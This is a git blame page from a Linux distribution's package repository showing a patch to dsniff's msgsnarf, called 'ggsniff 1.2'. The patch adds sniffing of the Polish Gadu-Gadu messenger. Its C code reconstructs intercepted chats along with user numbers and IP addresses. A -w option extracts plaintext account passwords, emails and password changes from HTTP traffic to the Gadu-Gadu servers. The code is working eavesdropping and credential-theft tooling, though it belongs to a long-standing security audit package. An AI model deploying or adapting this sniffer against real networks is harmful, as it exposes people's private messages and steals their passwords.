]> git.pld-linux.org Git - packages/dsniff.git/blame - dsniff-gg.patch
- ggsniff 1.2
[packages/dsniff.git] / dsniff-gg.patch
CommitLineData
a7448750 1diff -urN dsniff-2.3/ChangeLog.ggsniff dsniff-2.3-gg/ChangeLog.ggsniff
2--- dsniff-2.3/ChangeLog.ggsniff Thu Jan 1 01:00:00 1970
3+++ dsniff-2.3-gg/ChangeLog.ggsniff Wed Oct 30 14:49:43 2002
4@@ -0,0 +1,37 @@
5+BUGS:
6+ - dsniff doesn't compile with newest libnet, use older version (1.0.x)
7+
8+
9+2002.10.30 v1.2
10+ - added password sniffing (switch -w)
11+
12+2002.10.22 v1.1d
13+ - sometimes local user's nick was incorrectly displayed
14+ - added switch -s for simple output (without IP addresses)
15+ - updated man page for msgsnarf
16+ - added short documentation for ggsniff
17+
18+2002.09.13 v1.1c
19+ - fixed silly "cut&paste" bug
20+
21+2002.09.12 v1.1b
22+ - fixed silly segfault in process_gg()
23+
24+2002.09.11 v1.1
25+ - added printing remote GG user's IP (if available)
26+
27+2002.09.03 v1.1-beta
28+ - fixed segfault in process_msn() [dsniff-2.3-segfault.patch]
29+ - added switch -d for debugging info
30+ - added switch -p for disabling promiscous mode (useful on routers)
31+[dsniff-2.3-promisc.patch]
32+ - sniffer recognizes data direction
33+ - different connections from single IP do not share client_info
34+ - sniffing GG connections to port 443
35+ - support for extensions in new GG protocol (client version 4.9.3+)
36+
37+2002.04.26 v1.01
38+ - added printing local GG user's IP
39+
40+2002.03.20 v1.0
41+ - first release
0b496025 42diff -urN dsniff-2.3/msgsnarf.8 dsniff-2.3-gg/msgsnarf.8
43--- dsniff-2.3/msgsnarf.8 Sun Nov 19 07:10:50 2000
a7448750 44+++ dsniff-2.3-gg/msgsnarf.8 Wed Oct 30 12:28:00 2002
45@@ -9,16 +9,24 @@
46 .na
47 .nf
48 .fi
49-\fBmsgsnarf\fR [\fB-i \fIinterface\fR] [[\fB-v\fR] \fIpattern [\fIexpression\fR]]
50+\fBmsgsnarf\fR [\fB-d\fR] [\fB-p\fR] [\fB-s\fR] [\fB-w\fR] [\fB-i \fIinterface\fR] [[\fB-v\fR] \fIpattern [\fIexpression\fR]]
51 .SH DESCRIPTION
0b496025 52 .ad
53 .fi
54 \fBmsgsnarf\fR records selected messages from AOL Instant
55-Messenger, ICQ 2000, IRC, MSN Messenger, or Yahoo Messenger chat
56+Messenger, ICQ 2000, IRC, MSN Messenger, Gadu-Gadu, or Yahoo Messenger chat
57 sessions.
58 .SH OPTIONS
a7448750 59+.IP \fB-d\fR
60+Debug mode (prints more information about Gadu-Gadu connections).
0b496025 61 .IP "\fB-i \fIinterface\fR"
a7448750 62 Specify the interface to listen on.
63+.IP \fB-p\fR
64+Disable promiscous mode.
65+.IP \fB-s\fR
66+Simple output, without IP addresses.
67+.IP \fB-w\fR
68+Enable Gadu-Gadu password sniffing.
69 .IP \fB-v\fR
70 "Versus" mode. Invert the sense of matching, to select non-matching
71 messages.
0b496025 72diff -urN dsniff-2.3/msgsnarf.c dsniff-2.3-gg/msgsnarf.c
73--- dsniff-2.3/msgsnarf.c Fri Dec 15 21:12:19 2000
a7448750 74+++ dsniff-2.3-gg/msgsnarf.c Wed Oct 30 12:36:19 2002
75@@ -1,10 +1,10 @@
0b496025 76 /*
77 msgsnarf.c
78
79- Sniff chat messages (AIM, ICQ, IRC, MSN, Yahoo) on a network.
80+ Sniff chat messages (AIM, ICQ, IRC, MSN, Yahoo, Gadu-Gadu) on a network.
81
82 Copyright (c) 1999 Dug Song <dugsong@monkey.org>
83-
0b496025 84+
85 $Id$
86 */
87
a7448750 88@@ -25,23 +25,33 @@
89 #include "decode.h"
90 #include "version.h"
91
92+#define GGVERSION "1.2"
93+#define TO_CLIENT 0
94+#define TO_SERVER 1
95+#define PACKED __attribute__ ((packed))
96+
97 struct client_info {
98 char *nick;
99 char *peer;
100 char *type;
101 in_addr_t ip;
102+ unsigned short port;
103+ in_addr_t local_ip;
104 SLIST_ENTRY(client_info) next;
105 };
106
107 SLIST_HEAD(, client_info) client_list;
108 int Opt_invert = 0;
109 regex_t *pregex = NULL;
110+int Opt_debug = 0;
111+int Opt_simple = 0;
112+int Opt_pass = 0;
113
114 void
115 usage(void)
116 {
117- fprintf(stderr, "Version: " VERSION "\n"
118- "Usage: msgsnarf [-i interface] [[-v] pattern [expression]]\n");
119+ fprintf(stderr, "Version: " VERSION " (ggsniff " GGVERSION ")\n"
120+ "Usage: msgsnarf [-d] [-p] [-s] [-w] [-i interface] [[-v] pattern [expression]]\n");
121 exit(1);
122 }
123
124@@ -81,7 +91,7 @@
125 };
126
127 int
128-process_aim(struct client_info *info, u_char *data, int len)
129+process_aim(struct client_info *info, u_char *data, int len, int dir)
130 {
131 struct buf *msg, *word, buf;
132 struct flap *flap;
133@@ -215,7 +225,7 @@
134 }
135
136 int
137-process_irc(struct client_info *info, u_char *data, int len)
138+process_irc(struct client_info *info, u_char *data, int len, int dir)
139 {
140 struct buf *line, *word, *prefix, buf;
141 char *p;
142@@ -336,7 +346,7 @@
143 }
144
145 int
146-process_msn(struct client_info *info, u_char *data, int len)
147+process_msn(struct client_info *info, u_char *data, int len, int dir)
148 {
149 struct buf *word, *line, buf;
150 char *p;
151@@ -442,7 +452,7 @@
152 };
153
154 int
155-process_yahoo(struct client_info *info, u_char *data, int len)
156+process_yahoo(struct client_info *info, u_char *data, int len, int dir)
157 {
158 struct yhoo *yhoo;
159 struct ymsg *ymsg;
160@@ -544,11 +554,338 @@
0b496025 161 return (len - buf_len(&buf));
162 }
163
164+
165+/*
166+ Support for GG messages added by Ryba <ryba_84@hotmail.com>
a7448750 167+ v1.2
0b496025 168+
169+ Protocol description taken from EKG (http://dev.null.pl/ekg/)
170+ by <wojtekka@irc.pl>, <speedy@atman.pl> and others.
171+ Thanks to all of them!
172+
173+ Gadu-Gadu (http://www.gadu-gadu.pl) is a Polish communicator.
a7448750 174+ I believe it is a most popular instant messenger in Poland.
0b496025 175+*/
176+
a7448750 177+struct remote_client_info {
178+ int uin;
179+ char *nick;
180+ in_addr_t ip;
181+ unsigned short port;
182+ SLIST_ENTRY(remote_client_info) next;
183+};
184+
185+SLIST_HEAD(, remote_client_info) remote_client_list;
186+
187+#define GG_NETWORK "217.17.41.80"
188+#define GG_NETMASK "255.255.255.248"
189+unsigned int gg_network;
190+unsigned int gg_netmask;
191+
0b496025 192+#define GG_LOGIN 0x000c
a7448750 193+#define GG_LOGIN_EXT 0x0013
0b496025 194+#define GG_SEND_MSG 0x000b
195+#define GG_RECV_MSG 0x000a
a7448750 196+#define GG_NOTIFY_REPLY 0x000c
197+#define GG_NOTIFY 0x0010
198+
199+#define GG_STATUS_NOT_AVAIL_DESCR 0x0015
200+#define GG_STATUS_AVAIL_DESCR 0x0004
201+#define GG_STATUS_BUSY_DESCR 0x0005
202+
0b496025 203+struct gg_header {
204+ int type;
205+ int length;
206+};
207+
208+struct gg_send_msg {
209+ int recipient;
210+ int seq;
211+ int class;
212+// char message[];
213+};
214+
215+struct gg_recv_msg {
216+ int sender;
217+ int seq;
218+ int time;
219+ int class;
220+// char message[];
221+};
222+
223+struct gg_login {
224+ int uin;
225+ int hash;
226+ int status;
227+ int version;
228+ int local_ip;
229+ u_short local_port;
a7448750 230+} PACKED;
231+
232+struct gg_login_ext {
233+ int uin;
234+ int hash;
235+ int status;
236+ int version;
237+ int local_ip;
238+ short local_port;
239+ int external_ip;
240+ short external_port;
241+} PACKED;
242+
243+struct gg_notify_reply {
244+ int uin;
245+ int status;
246+ int remote_ip;
247+ short remote_port;
248+ int version;
249+ short unknown1;
250+} PACKED;
251+
252+struct in_addr int2in_addr(u_int i) {
253+ struct in_addr ia;
254+ ia.s_addr = i;
255+ return ia;
256+}
0b496025 257+
a7448750 258+struct remote_client_info *find_remote_client(int uin) {
259+ int i;
260+ struct remote_client_info *rc;
261+
262+ i = 0;
263+ SLIST_FOREACH(rc, &remote_client_list, next) {
264+ if (rc->uin == uin) {
265+ i = 1; break;
266+ }
267+ }
268+
269+ if (i == 0) {
270+ return NULL;
271+ } else {
272+ return rc;
273+ }
274+}
275+
276+struct remote_client_info *add_remote_client(struct remote_client_info newrc) {
277+ struct remote_client_info *rc;
278+
279+ if ((rc = malloc(sizeof(*rc))) == NULL)
280+ nids_params.no_mem("sniff_msgs");
281+ memset(rc, 0, sizeof(*rc));
282+ rc->uin = newrc.uin;
283+ rc->ip = newrc.ip;
284+ rc->port = newrc.port;
285+ SLIST_INSERT_HEAD(&remote_client_list, rc, next);
286+ return rc;
287+}
288+
289+#define GG_NICK_SIZE 45
290+#define GG_IP_SIZE 16
291+
292+int process_gg(struct client_info *info, u_char *data, int len, int dir) {
0b496025 293+
294+ struct buf *msg, buf;
295+ struct gg_header *header;
296+ struct gg_send_msg *send_msg;
297+ struct gg_recv_msg *recv_msg;
298+ struct gg_login *login;
a7448750 299+ struct gg_login_ext *login_ext;
300+ struct gg_notify_reply *notify_reply;
301+ struct remote_client_info *rc;
302+ struct remote_client_info new_rc;
0b496025 303+ char *p;
a7448750 304+ char sbuff[GG_NICK_SIZE];
305+ char local_ip[GG_IP_SIZE];
0b496025 306+ int i;
a7448750 307+ int count;
0b496025 308+
309+ buf_init(&buf, data, len);
310+
311+ while (buf_len(&buf) > sizeof(*header)) {
312+ header = (struct gg_header *)buf_ptr(&buf);
313+ i = sizeof(*header) + header->length;
314+
315+ if ((msg = buf_tok(&buf, NULL, i)) == NULL)
316+ break;
317+
318+ buf_skip(msg, sizeof(*header));
319+
a7448750 320+ if ((header->type == GG_LOGIN || header->type == GG_LOGIN_EXT)&& dir == TO_SERVER) {
0b496025 321+
a7448750 322+ login_ext = (struct gg_login_ext *)buf_ptr(msg);
323+
324+ if (Opt_simple != 0) {
325+ snprintf(sbuff, GG_NICK_SIZE, "%u", login_ext->uin);
326+ } else {
327+ if (info->ip == login_ext->local_ip) {
328+ snprintf(sbuff, GG_NICK_SIZE, "%s/%u", inet_ntoa(int2in_addr(info->ip)), login_ext->uin);
329+ } else {
330+ snprintf(local_ip, GG_IP_SIZE, inet_ntoa(int2in_addr(login_ext->local_ip)));
331+ snprintf(sbuff, GG_NICK_SIZE, "%s/%s/%u", inet_ntoa(int2in_addr(info->ip)), local_ip, login_ext->uin);
332+ }
333+ }
0b496025 334+ if (info->nick) free(info->nick);
0b496025 335+ info->nick = strdup(sbuff);
a7448750 336+
337+ if (Opt_debug != 0) {
338+ if (header->type == GG_LOGIN) {
339+ printf("%s GG_LOGIN %s\n", timestamp(), info->nick);
340+ } else {
341+ printf("%s GG_LOGIN_EXT %s\n", timestamp(), info->nick);
342+ }
343+ }
0b496025 344+ } else
345+
a7448750 346+ if (header->type == GG_SEND_MSG && dir == TO_SERVER) {
0b496025 347+ send_msg = (struct gg_send_msg *)buf_ptr(msg);
348+ buf_skip(msg, sizeof(*send_msg));
349+
350+ p = buf_strdup(msg);
351+ if (regex_match(p)) {
a7448750 352+ rc = find_remote_client(send_msg->recipient);
353+ if (rc && rc->ip != 0) {
354+ snprintf(sbuff, GG_NICK_SIZE, "%s:%u/%u", inet_ntoa(int2in_addr(rc->ip)), rc->port, rc->uin);
355+ } else {
356+ snprintf(sbuff, GG_NICK_SIZE, "%u", send_msg->recipient);
357+ }
358+ printf("%s GG_SEND %s > %s: %s\n", timestamp(), info->nick, sbuff, p);
0b496025 359+ }
a7448750 360+ free(p);
0b496025 361+ } else
362+
a7448750 363+ if (header->type == GG_RECV_MSG && dir == TO_CLIENT) {
0b496025 364+ recv_msg = (struct gg_recv_msg *)buf_ptr(msg);
365+ buf_skip(msg, sizeof(*recv_msg));
366+
367+ p = buf_strdup(msg);
368+ if (regex_match(p)) {
a7448750 369+ rc = find_remote_client(recv_msg->sender);
370+ if (rc && rc->ip != 0) {
371+ snprintf(sbuff, GG_NICK_SIZE, "%s:%u/%u", inet_ntoa(int2in_addr(rc->ip)), rc->port, rc->uin);
372+ } else {
373+ snprintf(sbuff, GG_NICK_SIZE, "%u", recv_msg->sender);
374+ }
375+ printf("%s GG_RECV %s < %s: %s\n", timestamp(), info->nick, sbuff, p);
376+ }
377+ free(p);
378+ }
379+
380+ if (header->type == GG_NOTIFY_REPLY && dir == TO_CLIENT) {
381+ notify_reply = (struct gg_notify_reply *)buf_ptr(msg);
382+
383+ if (notify_reply->status == GG_STATUS_NOT_AVAIL_DESCR ||
384+ notify_reply->status == GG_STATUS_AVAIL_DESCR ||
385+ notify_reply->status == GG_STATUS_BUSY_DESCR) {
386+ count = 1;
387+ } else {
388+ count = header->length / sizeof(*notify_reply);
389+ }
390+
391+ for (i = 0; i < count; i++) {
392+ rc = find_remote_client(notify_reply->uin);
393+ if (rc) {
394+ if (rc->ip != 0) {
395+ rc->ip = notify_reply->remote_ip;
396+ rc->port = notify_reply->remote_port;
397+ }
398+ } else {
399+ new_rc.uin = notify_reply->uin;
400+ new_rc.ip = notify_reply->remote_ip;
401+ new_rc.port = notify_reply->remote_port;
402+ rc = add_remote_client(new_rc);
403+ }
404+ if (Opt_debug != 0) {
405+ printf("%s GG_NOTIFY_REPLY #%u [%s:%u/%u]\n", timestamp(),
406+ i, inet_ntoa(int2in_addr(rc->ip)), rc->port, rc->uin);
407+ }
408+ buf_skip(msg, sizeof(*notify_reply));
409+ notify_reply = (struct gg_notify_reply *)buf_ptr(msg);
410+ }
411+ }
412+
413+ if (header->type == GG_NOTIFY && dir == TO_SERVER) {
414+ if (Opt_debug != 0) {
415+ printf("%s GG_NOTIFY (%u)\n", timestamp(), header->length);
0b496025 416+ }
0b496025 417+ }
418+ }
419+
420+ return(len - buf_len(&buf));
421+}
422+
a7448750 423+char* get_value(struct buf *b, char *param, int len) {
424+ char *v, *p, *l;
425+ char c;
426+ int i;
427+
428+ v = NULL;
429+ p = buf_strdup(b);
430+ l = strstr(p, param);
431+ while (l && l != p && l[-1] != '\n' && l[-1] != '\r'
432+ && l[-1] != '&' && l[-1] != '?') {
433+ l = strstr(l+1, param);
434+ }
435+ if (l) {
436+ l += len;
437+ i = strcspn(l, "&");
438+ if ((v = malloc(i + 1)) == NULL)
439+ err(1, "malloc");
440+ memcpy(v, l, i);
441+ v[i] = '\0';
442+ }
443+ free(p);
444+ return v;
445+}
446+
447+int process_gg_pass(struct client_info *info, u_char *data, int len, int dir) {
448+ struct buf *line, *word, buf;
449+ char *pass, *fmnum, *pwd, *email, *fmnumber, *fmpwd, *delete;
450+ int i;
451+
452+ buf_init(&buf, data, len);
453+
454+ if (dir == TO_SERVER) {
455+ fmnum = get_value(&buf, "FmNum=", 6);
456+ fmnumber = get_value(&buf, "fmnumber=", 9);
457+ pwd = get_value(&buf, "pwd=", 4);
458+
459+ if (fmnum) {
460+ pass = get_value(&buf, "Pass=", 5);
461+ printf("GG_UIN = %s, GG_PASS = %s\n", fmnum, pass);
462+ if (pass) free(pass);
463+ free(fmnum);
464+ }
465+ if (pwd && !fmnumber) {
466+ email = get_value(&buf, "email=", 6);
467+ printf("GG_NEW_UIN: GG_PASS = %s, GG_EMAIL = %s\n", pwd, email);
468+ if (email) free(email);
469+ free(pwd);
470+ }
471+ if (fmnumber) {
472+ fmpwd = get_value(&buf, "fmpwd=", 6);
473+ delete = get_value(&buf, "delete=", 7);
474+ pwd = get_value(&buf, "pwd=", 4);
475+ if (delete) {
476+ printf("GG_DELETE: GG_UIN = %s, GG_PASS = %s\n", fmnumber, fmpwd);
477+ } else if (fmpwd) {
478+ printf("GG_CHANGE: GG_UIN = %s, GG_OLDPASS = %s, GG_NEWPASS = %s\n", fmnumber, fmpwd, pwd);
479+ }
480+ if (fmpwd) free(fmpwd);
481+ if (delete) free(delete);
482+ if (pwd) free(pwd);
483+ free(fmnumber);
484+ }
485+ }
486+
487+ buf_skip(&buf, buf_len(&buf));
488+ return(len - buf_len(&buf));
489+}
0b496025 490+
491 void
492 sniff_msgs(struct tcp_stream *ts, void **conn_save)
493 {
a7448750 494 struct client_info *c;
495- int (*process_msgs)(struct client_info *, u_char *, int);
496+ int (*process_msgs)(struct client_info *, u_char *, int, int);
497 int i;
498
499 if (ts->addr.dest >= 6660 && ts->addr.dest <= 6680) {
500@@ -563,8 +900,16 @@
0b496025 501 else if (ts->addr.dest == 1863) {
502 process_msgs = process_msn;
0b496025 503 }
a7448750 504+ else if (ts->addr.dest == 8074 || (ts->addr.dest == 443 &&
505+ (ts->addr.daddr & gg_netmask) == gg_network)) {
506+ process_msgs = process_gg;
507+ }
508+ else if (Opt_pass != 0 && ts->addr.dest == 80 &&
509+ (ts->addr.daddr & gg_netmask) == gg_network) {
510+ process_msgs = process_gg_pass;
511+ }
0b496025 512 else return;
a7448750 513-
514+
515 switch (ts->nids_state) {
516
517 case NIDS_JUST_EST:
518@@ -573,15 +918,18 @@
519
520 i = 0;
521 SLIST_FOREACH(c, &client_list, next) {
522- if (c->ip == ts->addr.saddr) {
523+ if (c->ip == ts->addr.saddr && c->port == ts->addr.source) {
524 i = 1; break;
525 }
526 }
527 if (i == 0) {
528 if ((c = malloc(sizeof(*c))) == NULL)
529 nids_params.no_mem("sniff_msgs");
530+ memset(c, 0, sizeof(*c));
531 c->ip = ts->addr.saddr;
532+ c->port = ts->addr.source;
533 c->nick = strdup("unknown");
534+ c->local_ip = 0;
535 SLIST_INSERT_HEAD(&client_list, c, next);
536 }
537 *conn_save = (void *)c;
538@@ -592,12 +940,14 @@
539
540 if (ts->server.count_new > 0) {
541 i = process_msgs(c, ts->server.data,
542- ts->server.count - ts->server.offset);
543+ ts->server.count - ts->server.offset,
544+ TO_SERVER);
545 nids_discard(ts, i);
546 }
547 else if (ts->client.count_new > 0) {
548 i = process_msgs(c, ts->client.data,
549- ts->client.count - ts->client.offset);
550+ ts->client.count - ts->client.offset,
551+ TO_CLIENT);
552 nids_discard(ts, i);
553 }
554 fflush(stdout);
555@@ -608,10 +958,12 @@
556
557 if (ts->server.count > 0)
558 process_msgs(c, ts->server.data,
559- ts->server.count - ts->server.offset);
560+ ts->server.count - ts->server.offset,
561+ TO_SERVER);
562 else if (ts->client.count > 0)
563 process_msgs(c, ts->client.data,
564- ts->client.count - ts->client.offset);
565+ ts->client.count - ts->client.offset,
566+ TO_CLIENT);
567 fflush(stdout);
568 break;
569 }
570@@ -627,7 +979,7 @@
571 {
572 int c;
573
574- while ((c = getopt(argc, argv, "i:hv?V")) != -1) {
575+ while ((c = getopt(argc, argv, "sdpwi:hv?V")) != -1) {
576 switch (c) {
577 case 'i':
578 nids_params.device = optarg;
579@@ -635,6 +987,19 @@
580 case 'v':
581 Opt_invert = 1;
582 break;
583+ case 'd':
584+ Opt_debug = 1;
585+ break;
586+ case 's':
587+ Opt_simple = 1;
588+ break;
589+ case 'w':
590+ Opt_pass = 1;
591+ break;
592+ case 'p':
593+ // disable promiscous mode
594+ nids_params.promisc = 0;
595+ break;
596 default:
597 usage();
598 }
599@@ -653,19 +1018,35 @@
600 nids_params.scan_num_hosts = 0;
601 nids_params.syslog = null_syslog;
602
603+ gg_network = inet_addr(GG_NETWORK);;
604+ gg_netmask = inet_addr(GG_NETMASK);
605+
606 if (!nids_init())
607 errx(1, "%s", nids_errbuf);
608
609 SLIST_INIT(&client_list);
610+ SLIST_INIT(&remote_client_list);
611
612 nids_register_tcp(sniff_msgs);
613
614+ warnx("ggsniff " GGVERSION " enabled");
615+
616 if (nids_params.pcap_filter != NULL) {
617 warnx("listening on %s [%s]", nids_params.device,
618 nids_params.pcap_filter);
619 }
620 else warnx("listening on %s", nids_params.device);
621
622+ if (nids_params.promisc == 0) {
623+ warnx("promiscous mode disabled");
624+ } else
625+ warnx("promiscous mode enabled");
626+
627+ if (Opt_pass == 0) {
628+ warnx("password sniffing disabled");
629+ } else
630+ warnx("password sniffing enabled");
631+
632 nids_run();
0b496025 633
a7448750 634 /* NOTREACHED */
This page took 0.146126 seconds and 4 git commands to generate.